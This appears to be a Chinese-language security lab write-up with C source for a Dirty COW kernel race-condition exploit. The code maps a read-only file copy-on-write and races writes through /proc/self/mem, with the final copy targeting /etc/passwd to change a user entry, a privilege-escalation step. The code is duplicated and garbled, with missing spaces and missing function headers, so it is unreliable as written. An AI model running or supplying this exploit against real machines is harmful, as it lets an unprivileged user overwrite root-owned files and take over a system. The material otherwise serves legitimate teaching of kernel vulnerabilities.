1、gedit cow_attack.c 创建一个名为 cow_attack.c 的 C 语言文件并使用 gedit 编辑器打开,编写攻击代码:
main 线程将/zzz 映射到内存中,找到序列"SuperYzs"的位置,然后创建两个线程来利用操作系统内核中的 Dirty COW 竞争条件漏洞。
intmain(int argc, char *argv[]) { pthread_t pth1,pth2; structstatst; int file_size;
// Open the target file in the read-only mode. int f=open("/zzz", O_RDONLY);
// Map the file to COW memory using MAP_PRIVATE. fstat(f, &st); file_size = st.st_size; map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area char *position = strstr(map, "SuperYzs");
// We have to do the attack using two threads. pthread_create(&pth1, NULL, madviseThread, (void *)file_size); pthread_create(&pth2, NULL, writeThread, position);
// Wait for the threads to finish. pthread_join(pth1, NULL); pthread_join(pth2, NULL); return0; }
int f=open("/proc/self/mem", O_RDWR); while(1) { // Move the file pointer to the corresponding position. lseek(f, offset, SEEK_SET); // Write to the memory. write(f, content, strlen(content)); } }
intmain(int argc, char *argv[]) { pthread_t pth1,pth2; structstatst; int file_size;
// Open the target file in the read-only mode. int f=open("/zzz", O_RDONLY);
// Map the file to COW memory using MAP_PRIVATE. fstat(f, &st); file_size = st.st_size; map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area char *position = strstr(map, "SuperYzs");
// We have to do the attack using two threads. pthread_create(&pth1, NULL, madviseThread, (void *)file_size); pthread_create(&pth2, NULL, writeThread, position);
// Wait for the threads to finish. pthread_join(pth1, NULL); pthread_join(pth2, NULL); return0; }
int f=open("/proc/self/mem", O_RDWR); while(1) { // Move the file pointer to the corresponding position. lseek(f, offset, SEEK_SET); // Write to the memory. write(f, content, strlen(content)); } }
intmain(int argc, char *argv[]) { pthread_t pth1,pth2; structstatst; int file_size;
// Open the target file in the read-only mode. int f=open("/etc/passwd", O_RDONLY);
// Map the file to COW memory using MAP_PRIVATE. fstat(f, &st); file_size = st.st_size; map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area char *position = strstr(map, "charlie");
// We have to do the attack using two threads. pthread_create(&pth1, NULL, madviseThread, (void *)file_size); pthread_create(&pth2, NULL, writeThread, position);
// Wait for the threads to finish. pthread_join(pth1, NULL); pthread_join(pth2, NULL); return0; }
int f=open("/proc/self/mem", O_RDWR); while(1) { // Move the file pointer to the corresponding position. lseek(f, offset, SEEK_SET); // Write to the memory. write(f, content, strlen(content)); } }